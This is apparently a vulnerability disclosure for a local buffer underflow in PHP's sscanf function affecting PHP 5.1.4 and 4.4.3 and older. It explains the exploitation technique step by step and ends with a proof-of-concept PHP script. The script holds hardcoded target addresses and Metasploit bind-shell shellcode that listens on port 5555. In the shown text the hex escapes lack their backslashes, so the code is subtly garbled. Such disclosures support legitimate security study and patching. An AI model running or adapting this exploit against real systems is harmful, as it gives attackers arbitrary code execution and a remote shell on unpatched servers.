php local buffer underflow could lead to arbitary code execution

Affected versions: php 5.1.4 and older, 4.4.3 and possibly older



Cause: when php-s sscanf functions format argument contains argument swap



and extra arguments are given like.



sscanf('foo ','$1s',$bar) then it reads an pointer to pointer to



zval structure past the end of argument array by one.



Php developers were notified and response and patching was quick. php bug tracker thread

here: http://bugs.php.net/bug.php?id=38322



Vulnearability is fixed in CVS.



Exploiting:



Attacker needs a double pointer to writable segment in remote binary which can be obtained

by



compiling a binary based on all info known about remote host and disassembling binary and

searching.



This exploit first fills php internally cached memory with address of pointer (double

pointer)



to writable segment. Then by unsetting the variable it frees memory, but does not



zero it, so this way we pass our own pointers to sscanf.



Now sscanf allocated array has valid element one past the array,



sscanf tries to call a function to destruct zval structure.



if its 15-th byte isnt anything valid it will default to doing nothing



and will continue without errors and returns;



sscanf now sets the structure to be of type string and writes



pointer to string (it matched from our first argument to sscanf) and strings



length to a structure-s value union. the strings address is written to first 4 bytes



of structure.



knowing this we construct our own binary zval structure of type object. + shellcode + space



to match format. So now we have successfully called sscanf for the first time



and we got something like ptrptr->ptr->zval-of-type-string in memory



zval-of-type-string first 4 bytes point to our object we passed as argument.



so now we fill the internal cached memory with just pointer to zval. and free it.



when sscanf reads the pointer this time it now moves upwards one level but still



dereferences twice. thus acts upon our zval structure of type object.



when the destructor function now sees the zval is an object it will read



a pointer from our structure to another structure which supposed to contain function



pointers. it will call whatever the 2-cond element points to. all elements are 4 bytes long



thus address pointed to by structures offset 4 is called.



when we give it our ptr-to-zval - 4



it will add 4 bytes to it and dereference it an call whatever is there. and



there is address to our constructed zval object so we are executing code



from the beginning of our structure. eip-hop-over will help us through



unwanted bytes and we are on our way executing our shellcode.



<?php



/*



POC developed by Heintz.



Greets to Waraxe from www.waraxe.us



All buds from www.plain-text.info



Torufoorum



Thanks to metasploit.com for shellcode loan.



*/



// tested addresses from php5ts.dll (php 5.1.4) running win x64 pro



// $ptr_to_ptr_to_zval = "x10x43x54xCC";



// $ptr_to_zval = "x10x43x54xB0";



// $ptr_to_obj_handlers = "x10x43x54xAC"; // $ptr_to_zval-4



// addresses from php 5.1.4 cli, compiled with gcc version 3.3.6,



// kernel 2.6.14-hardened-r3



$ptr_to_ptr_to_zval = "x08x1Ax64xC8";



$ptr_to_zval = "x08x1Ax60x0C";



$ptr_to_obj_handlers = "x08x1Ax60x08"; // $ptr_to_zval-4



// nop, nop, nop, mov eax,nex-4-bytes. to disarm 4 next bytes



$eip_hop_over = "x90x90x90xB8";



# linux_ia32_bind - LPORT=5555 Size=108 Encoder=PexFnstenvSub http://metasploit.com



$shellcode =



"x29xc9x83xe9xebxd9xeexd9x74x24xf4x5bx81x73x13xef".



"x57xe6x92x83xebxfcxe2xf4xdex8cxb5xd1xbcx3dxe4xf8".



"x89x0fx7fx1bx0ex9ax66x04xacx05x80xfaxfaxe4x80xc1".



"x66xb6x8cxf4xb7x07xb7xc4x66xb6x2bx12x5fx31x37x71".



"x22xd7xb4xc0xb9x14x6fx73x5fx31x2bx12x7cx3dxe4xcb".



"x5fx68x2bx12xa6x2ex1fx22xe4x05x8exbdxc0x24x8exfa".



"xc0x35x8fxfcx66xb4xb4xc1x66xb6x2bx12";



if(bin2hex(pack('S',0x0010))!="0010")



{ // small endian conversion



$t = $ptr_to_ptr_to_zval;



$ptr_to_ptr_to_zval = $t{3}.$t{2}.$t{1}.$t{0};



$t = $ptr_to_zval;



$ptr_to_zval = $t{3}.$t{2}.$t{1}.$t{0};



$t = $ptr_to_obj_handlers;



$ptr_to_obj_handlers = $t{3}.$t{2}.$t{1}.$t{0};



}



$object_zval = $eip_hop_over.$ptr_to_obj_handlers.$eip_hop_over.



"x05x01x90x90".$shellcode."xC3x90x90x20";



$str = str_repeat($ptr_to_ptr_to_zval,20);



unset($str);



sscanf(



$object_zval,



'%1$s',



$str);



putenv("PHP_foo=".str_repeat($ptr_to_zval,64));



putenv("PHP_foo=");



sscanf(



"a ",



'%1$s',



$str);



?>